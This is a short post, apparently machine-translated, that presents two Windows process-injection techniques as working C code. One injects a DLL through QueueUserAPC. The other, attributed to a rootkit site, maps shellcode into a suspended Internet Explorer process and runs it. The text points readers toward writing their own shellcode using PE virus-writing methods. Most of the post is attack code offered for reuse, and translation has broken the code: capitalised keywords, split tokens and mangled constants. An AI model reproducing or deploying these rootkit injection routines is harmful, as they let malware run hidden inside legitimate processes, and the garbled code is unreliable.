The general method of inject is CreateRemoteThread. Today, I saw a new method in Rootkit, reminding me of the similar method I saw a year ago. Let's take a look at this method:
1) the method I saw a year ago
DWORD dwResult;
HANDLE hThread;
HANDLE hProcess;
Char szDllName [] = "c: // MyDll. dll ";
Int nLen = strlen (szDllName) + 1;
PVOID pData = VirtualAllocEx (hProcess,
NULL,
NLen,
MEM_COMMIT | MEM_TOP_DOWN,
PAGE_READWRITE );
If (param! = NULL)
{
If (WriteProcessMemory (hProcess,
PData,
(LPVOID) szDllName,
Len,
& Ret ))
{
For (DWORD p = 0; p <NumberOfThreads; p ++) // find the appropriate thread
{
HThread = OpenThread (THREAD_ALL_ACCESS, 0, ThreadId [p]);
If (hThread! = 0)
{
InjectDll (hProcess, hThread, (DWORD) pData );
CloseHandle (hThread );
}
}
}
Void InjectDll (HANDLE hProcess, HANDLE hThread, DWORD param)
{
QueueUserAPC (PAPCFUNC) GetProcAddress (GetModuleHandle
("Kernel32.dll"), "LoadLibraryA "),
HThread,
(DWORD) param)
}
2) Rootkit on the method, the following code is transferred from the http://www.rootkit.com/newsread.php? Newsid= 715
# Define _ WIN32_WINNT 0x0400
# Include <windows. h>
Typedef long ntstatus, * PNTSTATUS;
# Define NT_SUCCESS (Status) (NTSTATUS) (Status)> = 0)
Typedef enum _ SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
Typedef NTSTATUS (_ stdcall * func_NtMapViewOfSection) (HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER *, SIZE_T *,
SECTION_INHERIT, ULONG, ULONG );
Func_NtMapViewOfSection NtMapViewOfSection = NULL;
Lpvoid ntapi MyMapViewOfFileEx (HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow, DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress)
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// Convert the offset
SectionOffset. LowPart = dwFileOffsetLow;
SectionOffset. HighPart = dwFileOffsetHigh;
// Save the size and base
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;
// Convert flags to NT Protection Attributes
If (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
Else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
Else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
Else
{
Protect = PAGE_NOACCESS;
}
// Map the section
Status = NtMapViewOfSection (hFileMappingObject,
HProcess,
& ViewBase,
0,
0,
& SectionOffset,
& ViewSize,
ViewShare,
0,
Protect );
If (! NT_SUCCESS (Status ))
{
// We failed
Return NULL;
}
// Return the base
Return ViewBase;
}
Int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary ("ntdll. dll ");
NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection ");
// Getting a shellcode, use whatever you want
HANDLE hFile = CreateFile ("C: // shellcode.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL );
// Starting target process
STARTUPINFO st;
ZeroMemory (& st, sizeof (st ));
St. cb = sizeof (STARTUPINFO );
PROCESS_INFORMATION pi;
ZeroMemory (& pi, sizeof (pi ));
CreateProcess ("C: // Programme // Internet Explorer // iexplore.exe", NULL,
NULL, NULL, FALSE, create_suincluded, NULL, NULL, & st, & pi );
// Injecting the shellcode into target process address space
LPVOID MappedFile = MyMapViewOfFileEx (pi. hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL );
// Create a new APC which will be executed at first when the thread resume
QueueUserAPC (PAPCFUNC) MappedFile, pi. hThread, NULL );
ResumeThread (pi. hThread );
CloseHandle (hFile );
CloseHandle (hMappedFile );
CloseHandle (pi. hThread );
CloseHandle (pi. hProcess );
Return 0;
}
Summary:
1 cleverly applied QueueUserAPC and Apc Queue. The above LoadLibrary action and the shellcode of MappedFile are executed when the target thread is scheduled to run.
2. Do you still remember APC Queue?
When the thread is re-scheduled to run, the current Apc Queue will be checked. Only after all the Routine in the Queue is executed is the code of the thread originally interrupted (entry.
3. In the second example, you need to write shellcode yourself. For details about how to locate the function, refer to the PE virus writing method. do not find the Kenel32 address from the stack address, and find the SEH address in TEB, the default Routine (outermost layer) processing is in Kenel32.dll ......